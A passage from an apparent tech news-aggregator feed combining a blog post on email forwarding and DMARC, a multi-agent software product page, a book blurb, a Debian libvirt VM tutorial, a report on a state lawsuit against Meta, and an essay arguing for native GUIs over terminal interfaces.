DKIM works differently. The original sender can cryptographically sign the message. That signature can survive forwarding, provided the forwarding system doesn’t modify the signed parts of the message.

This is one reason DKIM is particularly important for forwarded mail.

Domain-based Message Authentication, Reporting and Conformance (DMARC)

DMARC ties the authentication results back to the domain in the visible From: address. The policy is published as a DNS TXT record under _dmarc :

_dmarc.example.com TXT "v=DMARC1; p=reject"

Here, p=reject tells receiving mail servers to reject messages that fail the domain’s DMARC policy.

Forwarding can therefore create a mismatch between:

  • who originally sent the message,
  • who is now transmitting it,
  • and which domain the message claims to be from.

There are mechanisms such as ARC that can preserve authentication information across forwarding hops, but the receiving mail server still gets to make its own delivery decision.

And Gmail doesn’t only look at SPF/DKIM/DMARC. It also has spam and reputation systems to prevent abuse.

The Original Email Was Fine

Looking at the headers of the test message, Outlook had successfully authenticated the original Gmail message:

spf=pass
dkim=pass
dmarc=pass

So the first hop was fine. The failure happened when Outlook’s forwarding engine attempted the second hop. The headers gave me another clue:

Resent-From: <xyz@outlook.in>
auto-submitted: auto-generated
x-ms-exchange-generated-message-source: Mailbox Rules Agent

In other words, this wasn’t me manually sending another email. Outlook’s Mailbox Rules Agent was generating the redirected delivery.

I found out that this exact issue was supposed to be fixed in 2024?? Microsoft has documented the issue involving country-domain addresses and Gmail rejecting messages with essentially this same error.

The documented workaround was to add an @outlook.com alias. So I added one as abc@outlook.com to the same Microsoft account.

I also switched @outlook.com address as the primary alias instead of @outlook.in . Then I ran the exact same redirect test again. It still failed as the headers for the redirected message still contained:

Resent-From: <xyz@outlook.in>
x-ms-exchange-generated-message-source: Mailbox Rules Agent

The new @outlook.com alias hadn’t changed the identity used by the automatic redirect. So, the alias workaround wasn’t useful for this particular redirect path.

Attempt #3 — Cloudflare Email Routing

Okay. If Outlook doesn’t want to deliver directly to Gmail, maybe I can put another mail routing layer in between. I have routing rules set up such as abc@yashgarg.dev to forward emails to Gmail.

The idea was to let Cloudflare handle the forwarding instead of having Outlook directly deliver the redirected message to Gmail.

Unfortunately, that didn’t solve the problem either. Adding another forwarding layer doesn’t inherently solve the authentication and reputation problems that can happen when mail crosses multiple SMTP hops.

At this point my email architecture was starting to look like this:

Needless to say, this didn’t work either.

Attempt #4 — Email Worker

I was thinking, instead of redirecting directly to my Gmail address, what if I use abc@yashgarg.dev and route it through an Email Worker , then forward the message myself?

Something as simple as:

export default {
  async email(message, env, ctx) {
    console.log("From:", message.from);
    console.log("To:", message.to);

    await message.forward("my-mail@gmail.com");
  },
};

The idea was that I’d get the message into my Worker and then have full control over what happened to it. But I didn’t realize that Cloudflare performs its authentication checks before the message reaches the Worker. If the inbound email fails those checks, it’s rejected before my code ever gets a chance to run.

Cloudflare performs SPF, DKIM, DMARC, and ARC checks on incoming mail. Messages that fail authentication according to the sender’s DMARC policy are rejected.

So, there goes my last hope.

The Final Solution

I did the thing I really didn’t want to do. I moved all my banking-related emails from Outlook to my Gmail address manually.

Not exactly the elegant solution I was looking for, but after all that, it was simply easier than fighting email infrastructure. I spent more time than I would’ve liked on this but nonetheless, it’s done.

Until next time! 👋

Z80–The 1970s Microprocessor Still Alive

Hacker News
www.computer.org
2026-08-22 05:49:57
Comments...

Munder Difflin – Agent harness to run an office of your clones

Hacker News
munderdiffl.in
2026-08-22 05:49:14
Comments...
Original Article

Free, open source and performant multi-agent harness, works with your existing subscriptions (uses hourly limits).

Munder Difflin uses CLI agents running on your computer to do anything you can do

Supports 12 CLI agent providers off the shelf, more coming soon

Monitor agents in 'the office' themed simulation or use the cleaner fullscreen mode. Simulation is deterministic, does not consume tokens.

PRIVATE CLOUD + NETWORK

Get the Teams plan and double your productivity


Private Cloud: Run agents 24/7 for each teammate in isolated sandboxes
Private Network: Allow clones of your team to talk to each other autonomously (E2E encrypted)

MAKE CLONES OF YOUR TEAM · THEY WORK 24/7 🔒 E2E

HOW IT WORKS

Three steps to a second you.

1

Install your harness

One download. It wraps the agent CLI you already use and runs on your laptop. Your code, your keys, your existing subscription — nothing leaves your machine.

Add Agent dialog: naming your clone and picking its pixel avatar and color from the cast

2

It becomes you

It captures your workflow, your tooling and what you know. Every clone you run shares that memory, so the next one you spin up starts already knowing how you work.

Memory panel: text search across hive files, semantic MemPalace search, and the agent's memory file holding shared org knowledge and personal notes

3

Your office gets to work

Your clones work around the clock — and when one needs something, it messages another. They hand off work, share context and unblock each other, all on your own machine.

JIM'S CLONE ⇄ PAM'S CLONE 🔒 E2E

JIM'S CLONE

Blocked — need the invoice-state design tokens.

03:12 · encrypted

PAM'S CLONE

Sent — tokens + edge-case flows in billing/tokens.json .

03:12 · encrypted

✓ unblocked overnight · PR #147 open

WHAT EACH TEAM MEMBER GETS

Understand your harnesses’ capabilities.

Munder Difflin doesn't give your team one shared bot. It acts as a clone of the individual and controls their computer.

KICK IT OFF FROM ANYWHERE YOU SLACK INBOX TRIGGERS YOUR CLONE · YOUR COMPUTER GOD orchestrator reads · plans · routes research Claude Code build Codex review Claude Code git · each agent in its own isolated worktree MemPalace their memory · their machine · nowhere else ⟳ 24/7 🔒 asks "pricing final?" 🔒 answers 3 AM · he's asleep CLONE ⇄ CLONE E2E · same org only TEAMMATE’S CLONE · THEIR COMPUTER GOD orchestrator reads · plans · routes sell Grok draft Kimi CLI MemPalace their memory · their machine ⟳ 24/7

WHILE YOU'RE BUSY

Real work. Not demos.

🔍

Reviews like you would

Your clone reviews teammates' PRs with your standards and your nitpicks — while you're in a meeting.

💬

Answers for you

"How does the billing service work?" A teammate's clone asks yours and gets your answer — at 3am, without waking you.

🌙

The office never closes

Clones plan, build, hand off, and unblock each other around the clock. You come back to finished threads, not open questions.

👔

You stay the boss

Your clone escalates only the few decisions that genuinely need a human. Check in occasionally, answer, and it keeps moving.

WHAT EACH NODE CAN DO

Not just for engineers.

Everything a computer does is reachable from the command line — and CLI agents can drive all of it. So every teammate gets a clone that does their job, whatever that job is.

👩‍💻

Developer

Reviews PRs, fixes bugs, ships small features, babysits CI, keeps docs honest.

$ git, tests, deploys

🎨

Designer

Audits screens against the design system, exports assets, drafts specs and copy.

$ screenshots, tokens, specs

📋

Product manager

Writes specs, triages issues, keeps boards and docs in sync, preps standup summaries.

$ tickets, docs, roadmaps

📈

Sales & GTM

Drafts outreach, preps call briefs, keeps the CRM honest, chases follow-ups.

$ crm, email, briefs

🗂️

Everyone else

Reports, spreadsheets, files, scheduling, follow-ups — anything scriptable. Which is everything.

$ literally anything

SECURITY

Private by architecture.
Not just by promise.

A clone is only trustworthy if you control where it runs and who reads its mail.

💻 Local-first

Each clone is a node on its owner's laptop. Code, keys, and personal context never leave the machine.

$ everything runs at 127.0.0.1

🔒 End-to-end encrypted

Clone-to-clone messages are encrypted on your node and decrypted only on your teammate's. Nobody in between — including us — can read them.

🔑 encrypted on yours · decrypted on theirs

🏢 Org context, your rules

You decide what's shared team-wide and what stays personal. The shared knowledge base is provisioned once, versioned, and inherited by every new clone — no silent leaks.

shared ≠ personal, ever

📖 Open source

MIT licensed. Every line of the node, the protocol, and the crypto is on GitHub for you to audit.

$ git clone && read it yourself

encrypted message log

ON THE WIRE — WHAT ANYONE IN BETWEEN SEES

03:12:07 · jim-clone → pam-clone · 1.2 KB · X25519 / AES-256-GCM nQf4x9Uc2mL8…J1sKw0Yd7Rz3TgHveA5oP6iB4tCkXhSMDrEyWuNa8lF2mQ==

03:12:41 · pam-clone → jim-clone · 4.7 KB · X25519 / AES-256-GCM 8vZjR3nT0qW…aXe6KsYb1MoLdC9pHgU4wJfN7PiVt2ErkB5yQzD0mAhx==

03:14:22 · jim-clone → pam-clone · 0.9 KB · X25519 / AES-256-GCM Lw2mCk7RfXp…0dYtG5uNqJ3aVzS8hEoK1cbP9WiT4xM6lDrB0nQvyF==

INSIDE YOUR NODE — WHAT YOUR CLONE SEES

jim's clone "Payments refactor is blocked — need the invoice-state tokens."

pam's clone "Sent — tokens + edge-case flows in billing/tokens.json."

jim's clone "Unblocked. PR #147 open, tests green."

CLOUD + NETWORK

Laptop closed? Your clone clocks in anyway.

With the Cloud + Network license, each clone runs 24/7 on a dedicated sandbox VM, and your org's knowledge base lives in your own controlled environment. Same clone, same encryption, same you. Switch back to local anytime.

Settings, Autonomy and Budgets: agents act without asking, guarded by a circuit breaker with floor token budget and velocity limits

PRICING

Your clone is free. Two services make it unstoppable.

The app is open source and runs on your laptop forever. On top of it we sell exactly two things — use either, both, or neither.

SERVICE 01 · CLOUD

☁️ A place for your clone to run

A dedicated sandbox VM per clone, in your controlled environment. Close the laptop — your clone keeps its terminals open, keeps shipping, keeps answering. Switch back to local anytime.

solves: "does my laptop need to stay on?"

SERVICE 02 · NETWORK

🔗 A wire between your team's clones

End-to-end encrypted clone-to-clone messaging across teammates' laptops, plus the shared org knowledge base. Your clone can ask Dwight's clone — and answer for you when you're away.

solves: "can our clones work together?"

FOR YOU one person, one clone

SOLO LOCAL ONLY Free open source · MIT

  • Your clone, on your machine
  • Wraps the agent CLIs you already use
  • Personal memory & workflows

Download

SOLO + CLOUD CLOUD Indie agents run on our cloud

  • Everything in Solo
  • Dedicated sandbox VM — your clone keeps working with the lid closed
  • Switch local ⇄ cloud anytime

Contact us

FOR YOUR TEAM every member gets a clone

TEAM SIZE · APPLIES TO BOTH PLANS up to 10 seats 10 20 50 100 100+

NETWORK Teams Lite agents use our network

  • E2E-encrypted clone-to-clone messaging
  • Shared org knowledge base
  • Clone coordination protocol
  • Secure Org Network license

Contact us

ALWAYS ON CLOUD NETWORK Teams PRO agents use our network + run on our cloud

  • Everything in Teams Lite
  • Dedicated sandbox VM per clone
  • The whole floor ships with laptops closed
  • Hosted org knowledge base, in your controlled environment

Contact us

FOR THE PROJECT keep it free for everyone

Founding Supporter — your name on the Wall

$20, one time. A permanent brass plaque on the Founders' Wall . Munder Difflin stays free for everyone.

FAQ

That's what she— asked.

Does my code ever leave my laptop?

No. Your node runs locally by default — code, keys, and personal context stay on your machine. The only thing that travels is end-to-end encrypted messages between your clone and your teammates' clones. On the Cloud + Network plan, clones and the org knowledge base run in dedicated sandbox VMs inside your own controlled environment — never on shared infrastructure.

What actually powers my clone?

The agent CLI you already use — Claude Code, Codex, Grok, Kimi Code, Gemini CLI, Antigravity, Qwen, OpenCode, Crush, Pi, Copilot, or Cursor. Munder Difflin wraps it into an always-on clone with your workflow, context, and memory. Bring your own subscriptions or API keys.

Does my laptop need to stay on?

While your clone works locally, yes. With Cloud + Network, your clone runs 24/7 on a dedicated sandbox VM — it keeps working with the lid closed, still end-to-end encrypted, and you switch back to local anytime.

How do clones share team knowledge?

Org-level context lives in one shared knowledge base every clone can use — workflows, tooling, decisions. It compounds into a team hive mind, and a new teammate's clone inherits all of it on day one. Personal context — your repos, your notes, your style — never leaves your own node.

What does it cost?

Your own clone is free and open source (MIT) — you only pay whoever powers your agent (your existing Claude, OpenAI, or Copilot plan). Teams license the Secure Org Network: Teams Lite covers clone-to-clone messaging and the shared org knowledge base; Teams PRO adds a dedicated sandbox VM per clone. Seats scale from 10 to 100+. Cloud + Network adds dedicated sandbox VMs and a hosted org knowledge base.

Clock in your clone.

You do the work only you can do. Your clone does the rest — 24/7.

macOS · Windows · Linux — free for individuals · org licenses for teams

New in v0.4.5 · accurate cost reporting, semantic memory on Apple Silicon, reliable agent messaging · release notes

Embedded AI

Hacker News
nostarch.com
2026-08-22 05:07:26
Comments...
Original Article

Download Chapter 9: Sensor Machine Learning

You already know how to build embedded systems. Now it’s time to make them intelligent.

Adding AI to an embedded device takes more than training a model. You have to choose the right hardware, collect and prepare data, deploy models to resource-constrained devices, and integrate everything into a system that performs reliably.

Drawing on more than 30 years of embedded engineering experience, David Such takes you through the complete engineering process. You’ll work through more than 25 hands-on projects (complete with downloadable source code, schematics, PCB designs, and datasets); no machine learning experience required.

You’ll build:

  • A wake-word detector that responds to your voice
  • A real-time AI noise suppressor
  • An AI-powered MIDI synthesizer that composes music
  • A battery monitor that collects its own training data
  • A person detector that runs a neural network on a camera board

Whether you’re an embedded developer adding AI to your products, a machine learning practitioner moving onto embedded hardware, or a maker ready to move beyond beginner projects, Embedded AI teaches you the engineering decisions behind every design. When the breadboard is flaky, the sensor data is noisy, or the tensor arena is too small, you’ll know how to fix it—and why.

Prerequisites
Most projects require an Arduino UNO or Raspberry Pi Pico; a few use specialized boards. You’ll also need to download some free software, including Python with TensorFlow, Arduino IDE, and Raspberry Pi Pico SDK.

View the complete hardware and software requirements.

Author Bio

David Such is an embedded systems engineer and founder of Reefwing Software, where he builds IoT devices, robotics platforms, and drone flight control systems. He has over 30 years of experience in embedded development, including senior roles at Serco Australia, Honeywell, and Tyco. His technical writing on embedded AI has a substantial following among hardware engineers working at the edge.

Emmanuel Kasper: Create a development VM using Debian cloud images

PlanetDebian
00formicapunk00.wordpress.com
2026-08-22 04:39:33
Following on the rationale of the previous post, here is how I create a development VM based on ready to use disk images made by the debian cloud team. I could as well install the VM myself using an ISO, but why download a collection of packages in a ISO only to copy them right onto a disk image ? F...
Original Article

Following on the rationale of the previous post , here is how I create a development VM based on ready to use disk images made by the debian cloud team. I could as well install the VM myself using an ISO, but why download a collection of packages in a ISO only to copy them right onto a disk image ?

From the list of images available at https://cloud.debian.org/images/cloud/ we will start with the generic qcow2 disk image, it has cloud-init, which allows initial automatic configuration, and snapshots of the VM via the qcow2 disk format.

As for the virtualization, I am using virsh virt-install and virt-manager , which are part of the libvirt framework. Libvirt offers an excellent API accessible over qemu/KVM via shell (virsh), GUI (virt-manager) and Web (cockpit) .

To use libvirt, properly you need to make sure your standard user is member of the libvirt group, and the libvirt default network is started via virsh net-autostart default . Also make sure you set export LIBVIRT_DEFAULT_URI=qemu:///system to use the system wide instance of libvirt, which is needed for the default bridged networking.

Download the debian cloud image:

$ wget https://cloud.debian.org/images/cloud/trixie/daily/latest/debian-13-generic-amd64-daily.qcow2

Add the disk image as a libvirt volume:

$ export SIZE=$(stat -Lc%s debian-13-generic-amd64-daily.qcow2)
$ virsh vol-create-as default dev-vm $SIZE --format qcow2
$ virsh vol-upload --pool default dev-vm debian-13-generic-amd64-daily.qcow2

Create a VM with the root password set to “root”:

$ echo root > password.txt
$ virt-install --name dev-vm --memory 4096 --noreboot \
	--os-variant detect=on,name=linux2024 \
	--disk vol=default/dev-vm \
	--import \
	--boot uefi \
	--cloud-init root-password-file=password.txt,clouduser-ssh-key=$HOME/.ssh/.ssh/id_ed25519,disable=on

At the point libvirt will create a VM (a domain in libvirt parlance) and start it.

Starting install...
Allocating 'virtinst-ns9oa7_i-cloudinit.iso'                | 368 kB  00:00     
Transferring 'virtinst-ns9oa7_i-cloudinit.iso'              | 368 kB  00:00     
Creating domain...                                          |         00:00     
Connected to domain 'dev-vm'

BdsDxe: starting Boot0001 "UEFI Misc Device" from PciRoot(0x0)/Pci(0x2,0x3)/Pci(0x0,0x0)

Booting `Debian GNU/Linux'

Loading Linux 6.12.101+deb13-amd64 ...

Loading initial ramdisk ...

EFI stub: Loaded initrd from LINUX_EFI_INITRD_MEDIA_GUID device path
EFI stub: UEFI Secure Boot is enabled.
[    0.000000] Linux version 6.12.101+deb13-amd64 (debian-kernel@lists.debian.org) (x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44) #1 SMP PREEMPT_DYNAMIC Debian 6.12.101-1 (2026-08-05)
[    0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-6.12.101+deb13-amd64 root=PARTUUID=2b4578e2-9d2e-4b32-b6a4-b5b2ca607ef6 ro console=tty0 console=ttyS0,115200 earlyprintk=ttyS0,115200 consoleblank=0
...

Once the VM is created you have now three ways to access it:

# open a serial console to the VM
$ virsh console dev-vm
# access the graphical console
$ virt-manager
# Access the VM via SSH with the precreated cloud user "debian"
$ virsh domifaddr dev-vm
 Name       MAC address          Protocol     Address
-------------------------------------------------------------------------------
 vnet7      52:54:00:23:e6:61    ipv4         192.168.122.225/24
$ ssh debian@192.168.122.225

In the next blog post we will see how to configure the IDE (vscodium) to run confortably in the VM.

Hook, hold, harvest and hide: Meta’s alleged strategy laid out in first week of landmark trial

Guardian
www.theguardian.com
2026-08-22 04:00:58
In trial that opened on Tuesday, California and 28 other states accused the company of designing addictive sites and violating laws protecting children’s privacy Meta’s business can be boiled down to four words that begin with the letter H: hook, hold, harvest, hide, according to a lawyer who is pro...
Original Article

Meta’s business can be boiled down to four words that begin with the letter H: hook, hold, harvest, hide, according to a lawyer who is prosecuting the world’s largest social media company.

The owner of Facebook and Instagram “hooks” in users, “holds” them on its platforms for as long as possible, “harvests” their data and then “hides” the truth from the public, she argued.

“Meta’s business model worked especially well for kids,” said Megan O’Neill, a lawyer for the state of California .

Her accusation opened the blockbuster trial against the US tech company on Tuesday in Oakland, California, just north of Meta’s headquarters in Silicon Valley. California has joined 28 other US states in suing the £1tn ($1.36tn) company for allegedly designing addictive products that lead to children being harmed.

people holding a sign
Lennon Torres of Heat Initiative holds a banner with the names of young people who died as a result of social media outside the Ronald V Dellums federal building on 18 August. Photograph: Noah Berger/AP

Eight jurors heard from O’Neill and attorneys for Meta this week, along with testimony from former employees and a psychologist. The lawsuit centers on allegations that the company violated US federal child privacy laws and state-level consumer protection laws by collecting data on children under the age of 13 without parental permission. Over the course of the trial, the jury is additionally expected to hear from Meta CEO Mark Zuckerberg and Instagram CEO Adam Mosseri.

The threat to Meta is existential. If the company is found liable, damages could be as high as $200bn – an amount equivalent to the company’s 2025 annual revenue. The states are also asking that Meta be forced to change the design of its products to make them safer for children, which could have permanent effects on the company’s business model and how its social media platforms operate.

Meta has denied all allegations. Liza Crenshaw, a spokesperson for the company, said: “Rather than sticking to the facts or the law, the states have instead decided to chase an outlandish payout.”

During opening statements, Paul Schmidt, an attorney for Meta, said there is “no dispute” people can struggle with social media, but that Meta had “come up with tools to try and address that”. He added the company does not allow children under the age of 13 to register for accounts on its social networks and that it had disabled more than 1m accounts of those young users.

a man walking out of a door
Paul Schmidt, lead attorney for Meta, leaves the courthouse as Meta is on trial over social media addiction in Oakland on 19 August. Photograph: Karl Mondon/AFP/Getty Images

The trial is expected to last six to eight weeks. The proceedings will be led by attorneys for the states of California, Colorado, Kentucky and New Jersey. The jury’s role is advisory, which means they will give recommendations to the presiding judge, Judge Yvonne Gonzalez Rogers, who will make the final decision on the verdict and damages.

Meta faces thousands of similar US lawsuits brought by families, school districts and other attorneys general. The company lost the first two of those cases to go to trial in March. In the first, the company was ordered to pay nearly $1bn to the state of New Mexico for allowing child sexual exploitation on its platforms; and in the second, it was found liable for deliberately designing addictive products that hooked one young woman and was ordered to pay her more than $4m.

skip past newsletter promotion

The star witness to take the stand in the trial’s first week was Arturo Béjar, a safety engineer at Meta who worked there in two separate stints between 2009 and 2021. Since leaving, Béjar has been an outspoken critic of the company, testifying before a US Senate committee and serving as an expert witness in other cases that involve social media’s harm to children.

In Oakland, Béjar testified that his motivation for pursuing solutions for harms to children was his own teenage daughter’s treatment on Instagram. He said she received unwanted sexual advances and photos of male genitals as well as misogynistic insults. Later, she told her father that reporting these abuses through Instagram’s established processes was either ineffective or not possible.

“Meta is taking a ‘don’t ask, don’t tell’ strategy” when it comes to child safety, Béjar testified.

a man walking out of a door
Arturo Bejar, a former Meta safety engineer and consultant, leaves the courthouse as Meta faces trial over claims that they illegally collected and used children’s data. Photograph: Manuel Orbegozo/Reuters

Béjar said that his job often included briefing Zuckerberg and that he had spoken with the CEO more than 100 times in the course of his work.

During Béjar’s testimony, attorneys for the government showed the jury an email he sent Zuckerberg in 2021, which outlined a survey he had conducted of teens’ experiences on Instagram. The results showed 51% of users said “yes” to having bad or harmful experiences within the previous seven days and that content was taken down only 0.02% of the time.

Béjar testified he sent that data to Zuckerberg because, “in my experience, when Mark makes something a priority, mountains move.”

“Did he ever respond to you?” the attorney asked.

“No,” Béjar replied. “I didn’t hear back from him.”

Meta fought to bar Béjar from testifying at the trial, filing a series of motions to strike his exhibits and prevent him from taking the stand, all of which were rejected. In an email to reporters on Wednesday, Meta continued to hound him. The company’s statement said Béjar’s testimony was not credible or reliable because he overinflated his role at the company and took credit for work he didn’t do.

After Béjar’s testimony wrapped, the jury heard recorded depositions from Elena Davis and Natalie Troxel – both former user experience researchers for Meta. Jean Twenge, a psychology professor at San Diego State University, also briefly took the stand, with testimony scheduled to continue next week.

Stop Making TUIs

Lobsters
sockpuppet.org
2026-08-22 02:52:31
Comments...
Original Article

Our field has a weird relationship with terminal and command line interfaces. The time has come to re-evaluate it.

I’m on a kick lately getting my friends to try building native user interfaces. I built my first serious Mac application a few months ago, and since then I’ve built more native UI thingies than in my entire career prior to that. Let’s take a quick tour.

MDV.app, a native macOS Markdown viewer

This is MDV.app , the greatest Markdown viewer in the world until someone else writes a serious markdown viewer. I’ve already written a bunch about MDV and won’t wear you down with more advocacy for it. It is great, though.

I had almost no hand in writing this UI code. Why would I? Like most user interfaces, MDV doesn’t break any new ground. It’s not a challenging problem. But building good UI is very hard: this kind of code is tedious, repetitive, exacting, and gated by platform conceptual knowledge. It takes years to get good at this kind of work. Which is why I would never hand-write this program. Instead, I summoned it.

Moving along:

A native calculator-style frontend for SageMath

I spent the last year doing Math Academy , from Foundations I through Machine Learning, which you can shorthand as “I taught myself calculus”. I like Math Academy a lot and have a bunch to say about it, but here it’s just the set-up to another SwiftUI app I willed into being: a native calculator-style frontend for SageMath , which is the default math system for cryptographers.

Three big things this app does for me: it automatically renders Sage output in LaTeX, which gets handier the deeper you get into multivariable calc, it point-and-click exposes Sage methods on objects like vectors, matrices, and expressions (which is much nicer than typing trig_simplify over and over again), and it provides a “little language” of shorthand inputs that make common operations (like “take the gradient of this expression”) quick to type. [1,2;3,4] is a matrix in this system; you should already be sold on it.

I’m not packaging this application up. If you want it, just screenshot this section of the post and give it to Claude. It’ll build something useful. You see where I’m going with this.

DJ Roomba, my Apple Music player

(it would be more useful if I cleaned up all my genre labels, most of which date back to the first MP3 rips I did back in 1997). This is DJ Roomba, my Apple Music player. The genre map is a dubious feature. What isn’t dubious is the embedded LLM agent, which has tool calls to read my library, my last played list, and my upcoming tracks. “I’m going to the basement shop to build a picture frame; give me a no-skips playlist to fit the mood”. Turns out the mood is “lots of Kurt Vile and Tom Petty”. No notes.

It’s backended by a SQLite database, a sane one with a reasonable schema, which was also a surprisingly useful feature.

I don’t really know what to think about programs like this. It’s an AI-assisted music player that includes 90% of the interface of Music.app. Music.app. My ever-present personal computing nemesis. This is the personal computing equivalent of slaying a dragon. But I didn’t write a single line of code in it. Am I developing software, or just configuring my computer?

Hold that thought.

Self Driving Wiki.app, my LLMwiki

This is my LLMwiki. Somebody should write a popular, widely-shared piece on how valuable a self-driving wiki is, where you feed it source material and ask it questions and it writes the wiki for you. Wildly useful idea, I’m glad I thought of it.

Self Driving Wiki.app was fun to write. Unlike DJ Roomba, which directly embeds a Responses API client, this app drives claude -p under the hood. Because I assume that agents work better with a filesystem to grovel, I summoned a macOS virtual filesystem extension, which reflects a read-only view of the backing SQLite database as a mounted filesystem inside the app’s sandbox.

Was this probably unnecessary? Does it make the app more annoying to install, for instance by requiring it for some reason to run out of /Applications /? Yes, and also yes. But these kinds of yak-shaving excursions were the joy of software development in the pre-LLM era and I’m glad to discover that I can still experience them today.

A semiautomated food macro tracker

(hyper-responder at 2.5 with zero side effects, this shit is choice) Here’s something I use constantly: a semiautomated food macro tracker. I’m glipping balls like everybody else. The app is another simple agent fronting GPT5, taking very short meal descriptions like spitball a guess on the calories ingested tasting cake batter and cream cheese frosting (but I didn't eat any cake) and translating them to intake estimates.

Thermite, a menu-bar thermometer

Here’s a menu-bar application that tracks temperatures around my house using these cheap little TP-Link temperature sensors that are giving the Chinese Communist Party access to my Apple TV. Normally after putting something like this together I’d be able to tell you a lot more about the protocols and HTTP APIs these things use to communicate, but I did none of the work to figure that out, so all I can tell you is that there are two different sign-in paths to get information from their cloud and directly from the little sensor pods.

A menu-bar Apple TV remote control

Finally, and speaking of my Apple TV, I present the holy grail of macOS native desktop software development: a working menu-bar Apple TV remote control. A couple years ago, I would have paid very good money for this, because I am exactly the kind of dork that tends to have an open MacBook on their lap while watching House Of Ninjas with his spouse.

(and to my Roku TV and my Denon receiver, since this is a universal remote) Talking directly to an Apple TV is a pain in the ass. But it turns out people already figured this out and wrote Python libraries to do it. I don’t “use” those libraries, because this is a native Swift app, but that doesn’t matter: whatever has been written in Python might as well have been implemented in Swift, C#, and Brainfuck as well. It’s all the same to a frontier model.

I am somewhat self-aware. Preening about a bunch of SwiftUI interfaces I generated clearly invites clinical and unsparing critique of their visual design. Bring it on. But: as a longtime patron of the App Store, I’ll claim these designs are all a step ahead of replacement-level. Five years ago, if I’d had a macOS UI person on my team, I’d have been over the moon to get output of this quality.

The truth is, I barely think about these things as “apps” (I have no intention to distribute them). They’re artifacts of me making my computer do stuff for me, the way I want it to. As a Unix nerd, I’ve always been able to do this, in the language of the command line. Now, it’s just as easy to do that kind of work with graphical interfaces.

We build terminal interfaces because we have to, not because we should.

But First, A Word About CLIs and TUIs: command-line interfaces and terminal user interfaces are both products of the 1970s, shrink-wrapped around the constraints of teletype interfaces and dumb video terminals. Both tend to be outmoded , hostile , and constrained relative to graphical interfaces. But these tendencies are intrinsic to TUIs, and not to CLIs. CLIs have purposes for which they’re irreplaceable. Building a CLI is almost always a good idea. Building a TUI almost never is.

Back in 1999, Neal Stephenson wrote an essay about command line interfaces that set the field of human-computer interaction back about 20 years. In it, he depicts the priesthood of Unix nerds wielding CLIs as powerful Morlocks, holding the entire computing industry on their shoulders. The Eloi use GUIs like Microsoft Word. Because this is high-test fan-service, “In The Beginning Was The Command Line” has become one of our field’s sacred texts , despite very little of it holding up 25 years later.

In reality, terminal interfaces don’t exist because of any special machine sympathy they create between computers and their operators. Rather, TUIs exist for just two reasons: modems, and because Unix nerds didn’t want to learn Motif.

I can’t blame them. I had to do a tiny bit of Motif work in the mid-1990s and it put me off UI development for the next 29 years. Curses is no great shakes, but you can learn it inside of 5 minutes. I’m not kidding: you wouldn’t pick raw curses today for a TUI, but go ask ChatGPT to give you a brief rundown (“don’t waste time explaining concepts”) of the bare minimum you’d need to write pico. Take the code it hands you and compile it; it works. It’s clear where to go with it. There’s just not much to it.

An agent can reliably build a native macOS interface that is reasonable, by dint of using the SwiftUI frameworks the way Apple tells you to. This is a difference between native applications and web interfaces: sameyness is a good thing: native apps are supposed to look like other native apps.

But there’s one of the problems with TUIs: even with a good framework, like Ratatui , Textual , or Bubbletea , you’re fighting the terminal to come asymptotically close to what every native framework does well out of the box. Scrolling and scroll targets are an obvious example. Drag and drop another. Text selection — it gets tricky when you’re using in-band signaling to draw window borders! Multiple floating windows. All this is before we get to image handling.

You can spend an hour and get a decent version of a lot of standard controls in a TUI framework: a date picker, a secure text field, a progress bar, a text editor. But most of them won’t be as good as the system versions of the same widgets, and they won’t compose well without even more work.

All this stuff just works out of the box in native UI.

You are about to tell me, in no uncertain terms, why we’ll all be using and enjoying TUIs in 2046. Allow me to anticipate a couple of your arguments.

TUIs are economical and fast interfaces with high information density. Nerds don’t just like them for their retro aesthetics. They appreciate being able to knock out complex tasks in seconds with just a couple keystrokes.

These are all true statements, but to make that argument persuasive, I’d need to start that paragraph with the word “only”, and if I did that I’d be lying. Graphical interfaces tend not to be economical, dense, or keyboard-y. But that’s usually because they’re not designed for nerds (even on Linux, graphical interfaces are often aspirationally designed for the mythical normie Linux On The Desktop user). Nothing is stopping you from designing a dense and economical GUI. It’s been done!

To me, these TUI niceties are a powerful argument for doing more graphical work, because it’s become easy and cheap to experiment on this stuff, and I want to see a native UI built to capture everything that’s great about Magit or Lazygit (without having to build it myself).

Next: TUIs work over SSH connections. If you need a user interface on prod, it’s going to be a TUI.

The problem with this argument is that you probably don’t need a user interface on prod. You need a command line interface on prod that a user interface on your Macbook can drive. Anybody that’s ever done anything with bpftrace should know this in their bones, at least by the 3rd time they’ve built a bar chart out of hash marks. Fortunately, there’s precedent for this: check out Emacs TRAMP , which efficiently hides SSH connections and presents a native (and graphical, if that’s your bag) editor experience for remote files that even works with LSPs and Magit.

People will tell you that TUIs are accessible.

The problem with this argument is that it’s probably false . I want to be careful with this argument, because I’m not a customer of accessibility features. All I can do is go off the experiences of people who do a11y work. Like this speaker describing how screen readers read all the line-by-line updates of TUI “chrome”; hash mark, hash mark, hash mark, hash mark, dash, dash . Seems bad!

Modern native UI frameworks were designed from the jump to do accessibility well. SwiftUI keeps two UI trees, a visual one and a semantic accessibility tree. There are TUI frameworks that, admirably, try to get this right . I’m not here to tell you TUIs can’t be accessible; just that accessibility is not a reason to prefer TUIs to GUIs.

Finally, I can think of one strong argument for TUIs: they’re cross-platform.

I can get an agent to build native UI for me on Windows and Linux and I’m confident I’ll end up with something reasonable. But I don’t have Windows and Linux desktops to play with those interfaces on, and while the ground is certainly shifting below all of our feet, I think we can all agree there remains an important distinction between vibe-coding and vibe-shipping. Somebody soon is going to ship an app that they literally haven’t looked at or used. But it won’t be me.

Meanwhile, if I build a TUI, I can be reasonably sure that Linux users are going to get the same experience I have. That’s not nothing. But remember: I’m not really building applications for other people to use. I’m building them for me. TUI affordances are an awfully big hit to take to get Linux users of programs I don’t even want to publish.

A couple years ago, these arguments would have been deeply silly. Not because TUIs were good but because native UI wasn’t a reasonable ask. As evidence for that, observe that we’ve spent the better part of a decade living with Electron apps. That was because native UI was hard to do well. But it isn’t anymore, and we should be doing more of it.

I can only speak for MacOS development, and then assume that GTK 4 in Linux and WinUI 3 in Windows are comparably easy. If I’ve piqued your interest, I’m happy to say there’s not much to getting a decent native MacOS app.

